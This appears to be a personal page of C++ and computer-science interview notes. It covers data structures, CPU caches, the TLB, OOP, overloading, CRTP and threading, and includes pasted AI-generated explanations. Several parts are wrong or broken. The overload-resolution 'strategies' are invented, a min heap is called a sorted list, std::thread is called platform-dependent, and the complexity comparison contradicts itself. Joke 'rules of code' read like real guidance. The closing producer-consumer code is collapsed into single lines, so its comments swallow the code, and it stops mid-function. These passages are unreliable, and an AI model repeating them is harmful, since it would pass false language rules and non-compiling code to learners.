A binary search tree is a type of binary tree data structure that is particularly useful for efficient searching of elements. Each node in a binary search tree contains a key value, and the left and right child nodes are also binary search trees, with all the keys in the left subtree being smaller than the key of the current node, and all the keys in the right subtree being larger. This property allows for efficient searching, as the search can be narrowed down to a smaller subset of elements at each step.

In addition to efficient searching, binary search trees also allow for efficient insertion and deletion of elements, as the tree structure can be easily rebalanced to maintain the search property. However, if the tree becomes unbalanced, the search efficiency can be greatly reduced.

Binary search trees are commonly used in computer science for implementing other data structures such as maps, sets, and priority queues. They are also used in many algorithms, such as sorting and searching algorithms, due to their efficient search capabilities.

Self-balancing binary search trees

A balanced tree is one of height O(log n), where n is the number of nodes in the tree. It is a sorted hierarchy of data where the left most node is the smallest, and the right most node is the largest.

• Red Black tree
• B-Tree
• AVL tree
• k-d tree

Below each node of a binary search tree is a mini tree. The top of the tree is the middle element.

e|            /e          
d|           d            
c|          / \c          
b|         b              
a|        / \ /a          
9|-----  /   9            
8|      /     \8          
7|     7                  
6|      \     /6          
5|-----  \   5            
4|        \ / \4          
3|         3              
2|          \ /2          
1|           1            
0|            \0          

Hash tables

Hash tables have an amortized complexity of O(1) unless there are collisions. Worst case, if everything is in the same bin, then it is O(n). Additionally, if the proportion of slots – known as “load factor” or “fill ratio” – exceeds a threshold, then the hash table must be resized/rebuilt.

std::unordered_set and std::unordered_map are implemented using hash tables.

Heaps

A heap is a useful data structure when it is necessary to repeatedly remove the object with the highest (or lowest) priority.

Support of random access iterators is required to keep a heap structure internally at all times. A min heap is also a sorted list.

123456789abcedef

1
23
4567
89abcdef

Project down, the top of the tree is a smallest element.

       1
   2       3
 4   5   6   7
8 9 a b c d e f

       1
      / \
     /   \
    /     \
   2       3
  / \     / \
 4   5   6   7
/ \ / \ / \ / \
8 9 a b c d e f

Comparison of heaps and binary search trees

A heap and a binary search tree (BST) are both data structures used to store and organize data, but they have some key differences that set them apart.

1. Structure:

• Heap: A heap is a complete binary tree, which means that all levels of the tree are fully filled except possibly the last level, and the last level is filled from left to right.
• BST: A BST is a binary tree in which each node has at most two child nodes, and the left child is always smaller than the parent, while the right child is always larger.

2. Ordering:

• Heap: A heap is not sorted in any particular order. Instead, the values of the nodes are arranged in a specific way, such as a min heap where the parent node is smaller than its child nodes, or a max heap where the parent node is larger than its child nodes.
• BST: A BST is sorted in a specific order, such as in-order, pre-order, or post-order. This allows for efficient searching and sorting of data.

3. Search and Insertion:

• Heap: Searching in a heap is not efficient, as there is no specific order to follow. However, inserting a new element is relatively fast, as it can be placed at the last position in the tree and then restored to its proper position by "heapifying".
• BST: Searching in a BST is efficient, as the tree is sorted and the search can be done by comparing the target value with the root node and recursively moving to the left or right subtree depending on the comparison. Inserting a new element also follows this same process, making it efficient as well.

4. Balanced vs Unbalanced:

• Heap: A heap is a balanced tree, meaning that the height of the tree is kept as small as possible. This is achieved by arranging the elements in a specific way, as mentioned earlier.
• BST: A BST can be balanced or unbalanced, depending on the order in which the elements are inserted. An unbalanced BST can lead to inefficient search and insertion operations.

5. Usage:

• Heap: Heaps are commonly used in implementing priority queues, where the element with the highest priority is always at the root of the heap.
• BST: BSTs are used for efficient searching, sorting, and storing data in applications such as database indexing, file systems, and spell checkers.

6. Implementation:

• Heap: A heap is typically implemented using an array, where the parent-child relationships are maintained by using the index of the nodes.
• BST: A BST can be implemented using either an array or a linked list.

In summary, the main differences between a heap and a BST are their structure, ordering, search and insertion operations, balance, usage, and implementation. Both data structures have their own advantages and are suitable for different use cases.

Singly linked lists

Adding/removing at the beginning is O(1), but adding at the end means search the whole list, therefore O(n). Searching is also O(n).

std::forward_list is a singly linked list.

Doubly linked lists

Like a singly linked list but we can iterate both ways. It stores a pointer to both the beginning and end, therefore operations on the end are also O(1).

std::list is a doubly linked list.

C++ Standard Library container complexities

However, the conventional CS wisdom for when to use a linked list over contiguous storage hasn’t applied for years: you have to measure. E.g., if a container fits in the cache, a vector might outperform everything else.

• Time complexities for different data structures
• Choosing the right container
• Where does O(nlogn) comes from? Stirling’s approximation is where
• Data structures and algorithms

OpenAI generated interview questions

1. What is the difference between a compiler and an interpreter?

2. Can you explain the concept of data structures and give an example of one?

3. How does object-oriented programming differ from procedural programming?

4. Can you explain the concept of recursion and give an example of when it would be useful?

5. Can you walk me through the steps of the software development life cycle and why each step is necessary?

6. What is the difference between a pointer and a reference in C++?

7. How does virtual inheritance differ from multiple inheritance?

8. Can you explain the concept of memory management in C++?

9. How do you handle exceptions in C++?

10. What are the benefits and drawbacks of using templates in C++?

Branching

Branchless programming

Branchless programming is an important approach in low-latency code. It may offer performance improvements but potentially at the cost of maintainability.

#include <iostream>

int main() {
    int x = 10;
    int y = 20;

    // Using a branch statement
    int max_val_branch = (x > y) ? x : y;
    std::cout << "Max value using branch statement: " << max_val_branch << std::endl;

    // Using branchless programming
    int max_val_branchless = y ^ ((x ^ y) & -(x > y));
    std::cout << "Max value using branchless programming: " << max_val_branchless << std::endl;

    return 0;
}

Branch prediction

In summary, branch prediction focuses on predicting the outcome of a specific branch instruction to enable speculative execution, while branch target prediction aims to predict the target address of a branch to reduce the delay in fetching and decoding subsequent instructions. Both techniques are utilized in modern processors to optimize instruction execution and improve overall performance.

OpenAI: Branch prediction is a technique used in computer processors to predict which instruction will be executed next in order to improve the overall performance of the processor. This is necessary because modern processors can execute instructions out of order, meaning that they do not necessarily follow the sequential order of instructions as they appear in the program code.

Branch prediction involves analyzing the program code to identify branches, which are points in the code where the processor has to make a decision and choose between two or more different paths of execution. These branches can occur due to conditional statements, loops, or function calls.

The processor uses historical information and statistical analysis to predict which branch will be taken in the future. This information is typically gathered from previous executions of the same code or from information provided by the programmer. Based on this prediction, the processor will start pre-executing the instructions from the predicted branch before it is actually needed, in the hope that the prediction is correct and this will save time and improve performance.

If the prediction is correct, the processor continues executing the pre-executed instructions and the program runs faster. However, if the prediction turns out to be incorrect, the processor has to discard the pre-executed instructions and start executing from the correct branch, resulting in a performance penalty.

There are various types of branch prediction techniques, including static and dynamic methods. Static branch prediction uses pre-defined rules to predict the branch and is typically used for simple branches. Dynamic branch prediction, on the other hand, uses more complex algorithms and constantly updates its predictions based on the program’s behavior. This is useful for more complex branches that are difficult to predict using static methods.

Overall, branch prediction is an important feature of modern processors that helps improve performance by reducing the amount of time wasted on incorrect branch predictions.

C++ attributes

When the [[likely]] attribute is applied, it suggests to the compiler that the branch following the attribute is frequently executed. This allows the compiler to prioritize the optimization of code paths that are more likely to be taken, potentially resulting in better performance.

However, it’s important to note that the [[likely]] attribute is just a hint, and it does not guarantee any specific behavior or optimization. The behavior of [[likely]] can vary depending on the compiler and its version. Some compilers may ignore the attribute altogether, while others may consider it as a hint for optimization.

References

• Out-of-order execution - OoO of multiple instructions simultaneously
• Branch prediction versus branch target prediction

Object-oriented programming

Object-oriented programming (OOP) is a programming paradigm that is based on the concept of objects. It is a way of structuring and organizing code in a logical and modular manner, which allows for better code reusability, maintainability, and scalability.

In OOP, objects are created from classes, which act as blueprints or templates for the objects. These objects have properties (attributes) and behaviors (methods) that define their characteristics and actions.

The four main principles of OOP are encapsulation, abstraction, inheritance, and polymorphism. Encapsulation refers to the concept of bundling data and methods within an object, ensuring that only the necessary information is accessible from the outside. Abstraction involves hiding the implementation details of an object and providing a simplified interface for interacting with it.

Inheritance allows for the creation of new classes from existing ones, inheriting their properties and behaviors. This promotes code reuse and helps in creating hierarchies of related objects. Polymorphism is the ability for objects of different classes to respond to the same method in different ways, based on their specific implementations.

OOP also emphasizes the use of objects and their interactions, rather than just procedures and functions, to solve problems. This approach makes it easier to model real-world entities and systems in the code, leading to more efficient and maintainable solutions.

Some popular programming languages that support OOP include Java, C++, Python, and Ruby.

• Encapsulation: tie the data and the functions that are acting together in a class.
• Composition
• Delegation is calling a routine “in another context”, for instance calling a base class member function from an instance of a derived class.
• Open recursion
• Abstraction: providing only essential information to the outside world and hiding their background details, separation of interface and implementation.
• Decoupling: removing dependencies on external computations/data.
• Low coupling, high cohesion

Differences between a class and a struct

In C++, the only difference between a class and a struct is the default access level. In a class, members are private by default, while in a struct, members are public by default. Also, the default inheritance access level is different: class uses private inheritance by default, while struct uses public inheritance by default.

Polymorphism

1. Compile-time Polymorphism: This type of polymorphism is achieved during the compilation phase of a program. It is also known as early binding or static binding. It involves the use of function overloading and operator overloading to perform different operations based on the type and number of arguments passed to a function or operator.

2. Runtime Polymorphism: Also known as late binding or dynamic binding, this type of polymorphism occurs during the execution of a program. It involves the use of virtual functions and function overriding to perform different operations based on the actual object type at runtime. This allows for flexibility and extensibility in code, as different derived classes can have their own implementation of the same function.

3. Ad-hoc Polymorphism: Also known as overloading polymorphism, this type of polymorphism allows a function or operator to behave differently based on the type of arguments passed to it. It involves the use of function overloading and operator overloading to perform different operations based on the type and number of arguments passed.

4. Parametric Polymorphism: Also known as generic polymorphism, this type of polymorphism allows a function or data type to handle different types of data without the need for explicitly specifying the type. It allows for code reusability and flexibility by allowing the same function or data type to work with different data types.

5. Inclusion Polymorphism: Also known as subtype polymorphism, this type of polymorphism allows a derived class to inherit and override the behavior of its base class. It allows for code reuse and extensibility by allowing objects of different classes to be treated as objects of the same base class, thereby providing a common interface for different types of objects. This is often achieved through inheritance and virtual functions.

Virtual destructors

A standard question at interviews! A very nuanced feature of OOP in C++ but you can now test this at compile time with type traits.

Destructors must be declared virtual when the class contains virtual functions or is part of a polymorphic hierarchy. This ensures that the destructor of a derived class is called if it is deleted via a pointer to the polymorphic base class.

Virtual function specifier

The virtual specifier specifies that a non-static member function is virtual and supports dynamic dispatch. It may only appear in the decl-specifier-seq of the initial declaration of a non-static member function (i.e., when it is declared in the class definition).

In derived classes, you should mark overridden methods as override to express intention and also protect from the base class being changed unwittingly.

Virtual tables

A non-virtual class has a size of 1 because in C++ classes can’t have zero size (objects declared consecutively can’t have the same address). A virtual class has a size of 8 on a 64-bit machine because there’s a hidden pointer inside it pointing to a vtable. vtables are static translation tables, created for each virtual-class.

RAII

RAII (Resource Acquisition Is Initialization) is a programming technique used in object-oriented languages, such as C++ and Java, to manage the acquisition and release of resources in a safe and efficient manner. It involves wrapping resource acquisition code in a class and using the object’s constructor and destructor to automatically acquire and release the resource.

The key idea behind RAII is that resource acquisition and initialization should happen together, and resource release should happen automatically when the object goes out of scope. This ensures that resources are properly managed and prevents memory leaks or other resource-related errors.

RAII is commonly used for managing dynamic memory allocation, such as with the C++ "new" and "delete" operators, as well as other resources like file handles, database connections, and network sockets. By encapsulating the resource management within a class, RAII allows for a more declarative and intuitive way of handling resources, reducing the likelihood of errors and simplifying the code.

In addition to automatic resource management, RAII also provides exception safety. If an exception is thrown during the object’s construction or initialization, the destructor will be called, ensuring that any acquired resources are properly released.

Overall, RAII is a powerful and widely used technique for managing resources in a safe and efficient manner, making it an important concept for developers to understand and utilize in their code.

Overloading

Overload resolution is the process of selecting the most appropriate function or method among a set of overloaded functions or methods with the same name but different parameters. This is a common feature in object-oriented programming languages like C++ and Java, where multiple functions or methods can have the same name but different parameters.

There are several strategies used in overload resolution, and the most common ones are:

1. Number of parameters: This strategy prioritizes functions or methods with the exact number of parameters as specified in the function call. If there are multiple functions with the same number of parameters, the next strategy is used.

2. Type of parameters: This strategy prioritizes functions or methods that have the exact type of parameters as specified in the function call. If there are still multiple functions with the same type of parameters, the next strategy is used.

3. Parameter order: This strategy prioritizes functions or methods that have the exact order of parameters as specified in the function call. For example, if a function has parameters (int, char) and another function has parameters (char, int), and the function call has arguments (5, ‘a’), the first function will be chosen.

4. Default arguments: If a function or method has default arguments, it will be prioritized over functions or methods without default arguments.

5. Type conversion: If none of the above strategies can determine the most appropriate function or method, the compiler will try to convert the arguments to match the parameters of a function or method. This strategy is known as type conversion or implicit conversion.

6. Ambiguity resolution: In some cases, there may be multiple functions or methods that can be called with the given arguments, and none of the above strategies can determine the most appropriate one. In such cases, the compiler will throw an error and ask for the function or method to be explicitly specified.

Overall, the overload resolution strategies prioritize functions or methods that have an exact match with the given arguments, followed by those with default arguments or implicit conversions, and finally, an explicit specification is required if there is still ambiguity. ___

Argument dependent lookup (aka Koenig lookup)

Argument-dependent lookup, also known as ADL, or Koenig lookup, is the set of rules for looking up the unqualified function names in function-call expressions, including implicit function calls to overloaded operators. These function names are looked up in the namespaces of their arguments in addition to the scopes and namespaces considered by the usual unqualified name lookup.

Notice begin and end parameters don’t specify a namespace, see ADL.

#include <iostream>
#include <vector>
#include <iterator>

int main() {

    const std::vector v{1, 2, 3, 4, 5};
    std::copy(cbegin(v), cend(v), std::ostream_iterator<int>(std::cout, "n"));
}

Caches

A cache is a small amount of unusually fast memory.

A modern multi-core machine will have a multi-level cache hierarchy, where the faster and smaller caches belong to individual processors. When one processor modifies a value in its cache, other processors cannot use the old value any more; and that memory location will be invalidated in all of the caches. Furthermore, since caches operate on the granularity of cache lines and not individual bytes, the entire cache line will be invalidated in all caches.

A multiprocessor is cache consistent if all writes to the same memory location are performed in some sequential order”.

OpenAI: Processor caches are small memory stores located on the CPU that are used to temporarily hold data and instructions that are frequently accessed by the processor. They are designed to speed up the performance of the CPU by reducing the time it takes to retrieve data from the main memory.

There are three types of processor caches: L1, L2, and L3.

1. L1 cache: This is the smallest and fastest cache, located directly on the CPU. It is divided into two parts – the instruction cache and the data cache. The instruction cache holds instructions that are frequently used by the CPU, while the data cache holds data that is frequently accessed by the CPU. The L1 cache has the fastest access time, but it is also the smallest, typically ranging from 8KB to 64KB.

2. L2 cache: This is a larger cache that is located on the CPU or on a separate chip. It is slower than the L1 cache but larger in size, typically ranging from 256KB to 8MB. The L2 cache can hold more data and instructions than the L1 cache, making it more effective in improving CPU performance.

3. L3 cache: This is the largest cache and is typically located on a separate chip from the CPU. It acts as a buffer between the main memory and the L1 and L2 caches. It is slower than the L1 and L2 caches but still faster than the main memory. The size of the L3 cache can range from 4MB to 16MB, depending on the processor.

The purpose of processor caches is to reduce the number of times the CPU has to access the main memory, which is a much slower process. By storing frequently used data and instructions in the cache, the CPU can retrieve them quickly, thereby improving overall system performance.

Caches also use a technique called caching, where the most recently used data and instructions are stored in the cache, while the least recently used data and instructions are removed. This helps to ensure that the most frequently used data and instructions are always available in the cache, further improving performance.

In summary, processor caches are essential for improving the speed and efficiency of a CPU by providing a temporary storage space for frequently used data and instructions. They play a crucial role in modern computer architecture and are continuously evolving to keep up with the increasing demands of computing.

• Assume any pointer indirection is a cache miss
• Smaller working data set is better
• Use as much of a cache entry as you can: don’t read a whole cache line to check one bit
• Doing more work can be faster than doing less: sometimes more is more
• Predictable code
• Branchless code
• Sequential memory can be very fast due to prefetching
• Fewer evicted cache lines means more data in hot cache for the rest of the program
• Mis-predicted branches can evict cache entries (see speculative execution)
• A dirty cache is not a problem for read-only data

Cache consistency

A multiprocessor is cache consistent if all writes to the same memory location are performed in some sequential order.

Cache coherence

OpenAI: Cache coherence refers to the process of ensuring that multiple processors or devices in a computer system have consistent and up-to-date data in their respective caches. In a multi-processor system, each processor has its own cache memory, which is a small but fast memory used to store frequently accessed data. However, when multiple processors are accessing the same data, there is a risk of data inconsistency if one processor updates the data while the other processor still has an outdated copy in its cache.

To maintain cache coherence, a protocol is used to ensure that each processor’s cache has the most recent version of the data. This is typically achieved through a combination of hardware and software mechanisms.

The most common approach is the use of a bus-based snooping protocol, where each processor monitors the bus for any data transactions and checks if the data being transferred matches the data in its cache. If there is a match, the processor will update its cache accordingly. If there is a mismatch, the processor will request the updated data from the other processor or from the main memory.

Another approach is the use of a directory-based protocol, where a centralized directory keeps track of which processors have copies of a particular data block. When one processor wants to access the data, it must first check with the directory to see if it has the most recent version. If not, the directory will coordinate the transfer of the updated data to the requesting processor.

Cache coherence is important for maintaining the integrity and consistency of data in a multi-processor system. It allows for efficient sharing of data between processors and prevents data inconsistencies that can lead to errors and system crashes.

MESI cache coherence protocol

Each cache line has state, tag, data.

• Modified - write back the data before anybody else is allowed to read main memory
• Exclusive - mark if nobody is sharing, can change with impunity
• Shared
• Invalid - unused

Snooping

See bus snooping.

• Write-invalidate (common)
• Write-update (causes greater bus activity)

Directory based coherence

Used for large CPUs. See wiki.

Write-back versus write-through

All Intel-compatible CPUs during the last one/two decades used a write-back strategy for caches (which presumes fetching a cache line first to allow partial writes). Of course that’s the theory, reality is slightly more complex than that.

Cache misses

There are three kinds of cache misses:

1. Instruction read miss
2. Data read miss
3. Data write miss

OpenAI: Cache misses occur when the CPU requests data from a memory location that is not currently stored in the cache. This means that the requested data must be retrieved from a slower, larger memory, such as the main memory or the hard drive. Cache misses can significantly slow down the performance of a computer, as retrieving data from a slower memory takes more time than retrieving it from the cache. There are two types of cache misses:

1. Compulsory Cache Miss: This occurs when data is first requested and is not yet present in the cache. Since the cache is initially empty, all initial requests for data will result in a compulsory cache miss.

2. Capacity Cache Miss: This occurs when the cache is not large enough to hold all the data that is being accessed. This can happen when there is a high demand for data that exceeds the capacity of the cache, causing some data to be evicted and resulting in a cache miss.

Cache misses can also occur due to other reasons, such as conflicts between different data that is being accessed by the CPU at the same time, or when the data has been modified in the main memory but the cache still holds the old version of the data. Cache misses can impact the performance of a computer and reduce the efficiency of the cache, as the CPU has to wait for the requested data to be retrieved from a slower memory location. To minimize the number of cache misses, computer architectures use different techniques such as increasing the size of the cache, optimizing the cache replacement policy, and using smarter data placement strategies.

Data cache

• Straight line code: no branches
• Linear array traversal

Instruction cache

• Avoid iteration over heterogeneous sequences with virtual calls (sort first)
• Make “fast paths”: branch-free sequences; integrate conditionals to avoid branches: + (vec.size() & 1)
• Inline cautiously
• Take advantage of PGO and WPO

Virtual functions

The way virtual functions work may cause issues with caching.

1. Load vtable pointer: potentially data cache miss
2. Load virtual function pointer: potentially data cache miss
3. Then code of function is called: potential instruction cache miss

But we may be able to use CRTP to avoid the first two.

CRTP

The curiously recurring template pattern (CRTP) is an idiom in C++ in which a class X derives from a class template instantiation using X itself as template argument. More generally it is known as F-bound polymorphism, and it is a form of static polymorphism.

// Base class template using CRTP
template<typename Derived>
class Base {
public:
    void foo() {
        static_cast<Derived*>(this)->fooImpl();
    }
};

// Derived class using CRTP
class Derived : public Base<Derived> {
public:
    void fooImpl() {
        // Implementation of foo specific to Derived
        std::cout << "Hello from Derived!" << std::endl;
    }
};

Cache related issues

• Memory banks
• Associativity
• Inclusive versus exclusive content
• Dirty cache not a problem for read-only
• Hyper-threading
• False cache line sharing… cache ping pong
• What tools are available for understanding cache use?

Cache associativity

• Direct mapped cache
• N-way set associative cache
• Fully associative cache

Cache oblivious algorithm design

Typically a cache-oblivious algorithm works by a recursive divide and conquer algorithm, where the problem is divided into smaller and smaller sub-problems. Eventually, one reaches a sub-problem size that fits into cache, regardless of the cache size.

• Cache oblivious algorithm
• Loop nest optimisation

Profiling

• PGO: profile guided optimisation
• WPO: whole program optimisation
• OProfile

Data-oriented design

Design to get the most value out of every single cacheline that is read. Split apart the functions and data.

Pipeline stall contributors

• Data hazards
• Control hazards: branches, exceptions
• Memory latency: cache misses

Cache locality

Cache locality refers to the tendency of a computer’s CPU to access data and instructions that are stored close to each other in memory at the same time, rather than accessing data and instructions that are stored far apart.

There are two types of cache locality: temporal locality and spatial locality.

Temporal locality refers to the idea that if a CPU accesses a particular piece of data or instruction, it is likely to access it again in the near future. This is because programs tend to access the same data and instructions repeatedly.

Spatial locality, on the other hand, refers to the idea that if a CPU accesses a particular piece of data or instruction, it is likely to access data or instructions that are nearby in memory as well. This is because programs tend to access data and instructions that are stored close to each other in memory, rather than scattered throughout.

Having good cache locality can greatly improve a computer’s performance, as the CPU can quickly access data and instructions that are already stored in the cache, rather than having to retrieve them from slower main memory. This is why cache memory is designed to store recently accessed data and instructions, as well as data and instructions that are physically close to them in memory.

Further watching

• What do you mean by “cache friendly”? – Björn Fahller (code::dive 2019)
• MIT pipelines
• Trading at the speed of light
• CPU Caches and Why You Care (1/2)
• CPU Caches and Why You Care (2/2)

TLB: Translation lookaside buffer

The Translation Lookaside Buffer (TLB) is a hardware cache that is used in computer systems to improve the efficiency of virtual memory address translation. It is a small, high-speed cache that stores recently used virtual-to-physical address translations.

When a program references a memory location, the virtual memory address needs to be translated into a physical memory address by the operating system. This translation process involves looking up a page table or a similar data structure. Since this translation operation is performed frequently, it can introduce overhead and impact system performance.

The TLB acts as a cache for these translations, reducing the need for repeated lookups in the page table. It stores a subset of the most recently used translations, making it faster to access and retrieve the corresponding physical memory address.

TLBs can be shared between multiple cores or processors, or each core may have its own dedicated TLB.

OpenAI:

Translation lookaside buffer (TLB) is a hardware component in a computer’s central processing unit (CPU) that stores recently used virtual memory addresses and their corresponding physical memory addresses. It acts as a cache for the memory management unit (MMU) and helps to speed up the process of virtual memory translation.

When a program needs to access data from memory, the CPU first checks the TLB to see if the virtual address is already mapped to a physical address. If the mapping is found in the TLB, the physical address is used and the translation process is skipped, saving time and improving performance. However, if the mapping is not found in the TLB, the MMU must perform a full translation of the virtual address to a physical address, which can be a slower process.

The TLB is organized as a small, fast lookup table with a limited number of entries, typically ranging from a few hundred to a few thousand. When the TLB becomes full, the oldest entries are replaced with new ones, using a technique called "least recently used" (LRU) replacement. This means that the TLB will always contain the most frequently used translations, maximizing its effectiveness in speeding up memory access.

Overall, the TLB helps to improve the efficiency of virtual memory management by reducing the number of memory access requests that require a full translation. It is an important component in modern CPUs and plays a crucial role in optimizing memory access and overall system performance.

Memory fences

A memory fence (or barrier) is a programming language construct used to enforce an ordering constraint on memory operations issued by a thread of execution on a CPU. This typically means that operations issued prior to the fence are guaranteed to be performed before operations issued after the fence.

const int num_mailboxes = 32;
std::atomic<int> mailbox_receiver[num_mailboxes];
std::string mailbox_data[num_mailboxes];
 
// The writer threads update non-atomic shared data 
// and then update mailbox_receiver[i] as follows:
mailbox_data[i] = ...;
std::atomic_store_explicit(&mailbox_receiver[i], receiver_id, std::memory_order_release);
 
// Reader thread needs to check all mailbox[i], but only needs to sync with one.
for (int i = 0; i < num_mailboxes; ++i)
    if (std::atomic_load_explicit(&mailbox_receiver[i],
        std::memory_order_relaxed) == my_id)
    {
        // synchronize with just one writer
        std::atomic_thread_fence(std::memory_order_acquire);
        // guaranteed to observe everything done in the writer thread
        // before the atomic_store_explicit()
        do_work(mailbox_data[i]);
    }

See wiki and cppreference.

What pushes something out of the cache?

There are several factors that can push something out of the cache:

1. Cache size limitations: Caches have a limited capacity, and if the cache becomes full, the least recently used (LRU) items are typically pushed out to make space for new entries.
2. Cache eviction policies: Various cache eviction policies determine what gets pushed out when the cache is full. LRU (Least Recently Used) is one of the commonly used policies that evicts the oldest item that has not been accessed recently.
3. Time-based expiration: Some caches may have a time-based expiration mechanism. If an item remains unused for a certain period of time, it can be automatically removed from the cache to make room for other data.
4. Size-based eviction: In some cases, if the cache is designed to store items of a fixed size, new entries may replace older items when they exceed the cache’s size limit.
5. Manual cache invalidation: Cache invalidation can be triggered manually by a programmer or system administrator. This is often done to ensure that the cache is up-to-date with the latest data, or to remove specific items from the cache.

Further reading

• NUMA
• False cache line sharing – cache ping pong
• What Every Programmer Should Know About Memory
• The Effect of Speculative Execution on Cache Performance
• https://github.com/rollbear/cache-friendly-samples/blob/master/bheap_aux.cpp
• Crunching bytes
• Be nice to your cache
• Speculative execution
• MIT pipelines
• Pipeline stall
• Predication
• Vector processor
• What every programmer should know about memory
• False sharing is not fun by Herb Setter
• Gallery of processor cache effects by Igor Ostrovsky
• CPU cache flushing fallacy
• Cache miss penalty on branching
• Optimising for instruction caches – Amir Kleen
• Memory is not free (more on Vista performance) – Sergey Solynik

Complexity

You should be comfortable explaining the complexity of your code. See the Big O Cheatsheet.

Comparing two fundamental data structures

Linked lists and arrays are two commonly used data structures in computer science. Both have their own advantages and disadvantages and are used in different situations depending on the specific needs of the program. The average complexity of a data structure refers to the average time or space required to perform operations such as insertion, deletion, and search. In this comparison, we will look at the average complexity of linked lists and arrays in terms of these operations.

1. Insertion: Linked lists have a time complexity of O(1) for inserting a node at the beginning or end of the list. This is because the new node can be easily added by changing the pointers of the adjacent nodes. However, inserting a node in the middle of a linked list requires traversing the list which has a time complexity of O(n). On the other hand, arrays have a time complexity of O(n) for inserting an element at a specific index, as all the elements after that index need to be shifted to make space for the new element. Inserting an element at the end of an array is O(1) as long as there is space available, but inserting at the beginning or middle of an array requires shifting all the elements, resulting in a time complexity of O(n).

Overall, the average complexity for insertion in a linked list is O(n/2) or O(n), and for an array, it is O(n/2) or O(n).

2. Deletion: Linked lists have a time complexity of O(1) for deleting a node at the beginning or end of the list as the pointers of the adjacent nodes can be easily changed. However, deleting a node in the middle of a linked list requires traversing the list, resulting in a time complexity of O(n). Arrays have a time complexity of O(n) for deleting an element at a specific index, as all the elements after that index need to be shifted to fill the empty space. Deleting an element at the end of an array is O(1) as long as there are no other elements after it, but deleting at the beginning or middle of an array requires shifting all the elements, resulting in a time complexity of O(n).

Overall, the average complexity for deletion in a linked list is O(n/2) or O(n), and for an array, it is O(n/2) or O(n).

3. Search: Linked lists have a time complexity of O(n) for searching an element as the list needs to be traversed until the element is found. In contrast, arrays have a time complexity of O(1) for searching an element at a specific index, as the index can be directly accessed. However, searching for an element in an unsorted array has a time complexity of O(n) as all the elements need to be checked one by one.

Overall, the average complexity for search in a linked list is O(n/2) or O(n), and for an array, it is O(n/2) or O(n).

In terms of space complexity, linked lists have a space complexity of O(n) as each node contains a data element and a pointer to the next node. In comparison, arrays have a space complexity of O(n) as well, but they allow for more efficient use of memory as they store data in contiguous memory locations.

In conclusion, the average complexity of linked lists and arrays for insertion, deletion, and search operations is the same, i.e. O(n), but the constant factors may vary depending on the specific operation and the implementation of the data structures. However, linked lists have a better time complexity for insertion and deletion at the beginning or end of the list, while arrays have a better time complexity for searching an element at a specific index. The choice between using a linked list or an array ultimately depends on the specific needs of the program.

The rules of code

1. A single file should contain fewer than 20000 lines of code
2. It would be nice if a single routine could fit into 1000 lines of code (makes testing easier)
3. Ensure comments are ignored by prefixing “todo”
4. Use consistent formatting: even better, don’t bother and let clang-format do it
5. Make things constant: it’s much easier to reason about code when the data are immutable
6. Unit testing is awesome and will almost certainly catch on

Unit testing

A test is not a unit test if it:

• Talks to a database
• Communicates across the network
• Touches the file system
• Can’t run at the same time as any of your other unit tests
• Does special things to your environment (such as editing config files) to run it

See the complete article.

Creating threads in C++

This is all a lot easier since std::thread was introduced in C++11. Now we have a platform dependent interface. See the C++ concurrency support library examples.

However, remember there is an overhead in creating a thread: if the operation you’re repeating is quick then could it actually take longer to parallelise it? You need to profile: how long does it take to just create a thread?

Ways to create a thread

std::async

Think of it like pushing a calculation into the background. std::async executes a function asynchronously and returns a std::future that will eventually hold the result of that function call. It’s quite a nice way to reference the result of a calculation executed in another thread. Also, it manages the issue of creating too many threads: they will just be executed sequentially. Additionally, exceptions thrown in the asynchronous routine destroy the future and the exception is rethrown by the calling get() routine. You ought to pass it a strategy: std::launch::async or std::launch::deferred as a first parameter.

std::thread

You need to call join() for every thread created with std::thread. This can be done by storing your threads as a vector and joining each of them in a loop.

std::jthread

Like a regular thread but you don’t have to join it in the caller: it actually joins for you in the destructor. Quite nice to not have to remember to join, but joining all your threads can be a convenient synchronisation point.

Execution policies

Many of the Standard Library algorithms can take an execution policy, which is quite an exciting way to parallelise existing code. But remember it offers no protection of shared data: it’s still just a bunch of threads.

• std::execution::seq: execution may not be parallelized
• std::execution::par: execution may be parallelized
• std::execution::par_unseq: execution may be parallelized, vectorized, or migrated across threads (such as by a parent-stealing scheduler)
• std::execution::unseq: execution may be vectorized, e.g., executed on a single thread using instructions that operate on multiple data items

C++ algorithms that can take an execution policy

Some of these have an _if version that takes a additional predicate: e.g., std::replace and std::replace_if.

1. std::sort
2. std::copy
3. std::transform
4. std::accumulate
5. std::for_each
6. std::reduce
7. std::inclusive_scan
8. std::exclusive_scan
9. std::transform_reduce
10. std::remove
11. std::count
12. std::max_element
13. std::min_element
14. std::find
15. std::generate

Acquiring resources

std::mutex

A standard way to protect access to something, but there are multiple ways to unlock it.

Acquiring multiple resources

Here be dragons! In the shape of deadlocks. There are several strategies to improve your chances of not become stuck, see the deadlock chapter for more. You can use std::scoped_lock with multiple resources or single, but also I think it expresses intention better, by virtue of having “scope” in the name.

• Concurrency in C++: A Programmer’s Overview (part 1 of 2) - Fedor Pikus - CppNow 2022

Standard library threading types

• std::mutex
• std::atomic - an operation that is guaranteed to operate as a single transaction
• std::scoped_lock
• std::lock_guard
• std::thread and std::join
• std::jthread (auto join)

See the Standard Library concurrency support library.

Let’s ask OpenAI to write a producer-consumer solution in C++

Producer-Consumer solution is a classic synchronization problem where a producer produces data items and adds them to a shared buffer, while a consumer consumes these items from the buffer. In this solution, we will use the concept of multithreading to implement a producer-consumer problem in C++.

First, we define a shared buffer of a fixed size and initialize it with a mutex and two conditional variables for synchronization. The mutex ensures mutual exclusion between threads, and the conditional variables are used for signaling and waiting.

#define BUFFER_SIZE 10 // size of the shared buffer int buffer[BUFFER_SIZE]; // shared buffer int in = 0; // index for producer to add item int out = 0; // index for consumer to remove item std::mutex mt; // mutex for mutual exclusion std::condition_variable not_full, not_empty; // conditional variables for signaling and waiting

Next, we define two functions, the producer function and the consumer function, which will be executed by separate threads.

// producer function void producer() { int item; while (true) { // generate a random item item = rand() % 100;

    // acquire the mutex lock
    std::unique_lock<std::mutex> lock(mt);
    
    // wait if the buffer is full
    while ((in + 1) % BUFFER_SIZE == out) {
        not_full.wait(lock);
    }
    
    // add the item to the buffer
    buffer[in] = item;
    in = (in + 1) % BUFFER_SIZE;
    
    // signal the consumer that the buffer is not empty
    not_empty.notify_one();
    
    // release the mutex lock
    lock.unlock();
    
    // sleep for a random time
    std::this_thread::sleep_for(std::chrono::milliseconds(rand() % 1000));
}

}

// consumer function void consumer() { int item; while (true) { // acquire the mutex lock std::unique_lock lock(mt);

    // wait if the buffer is empty
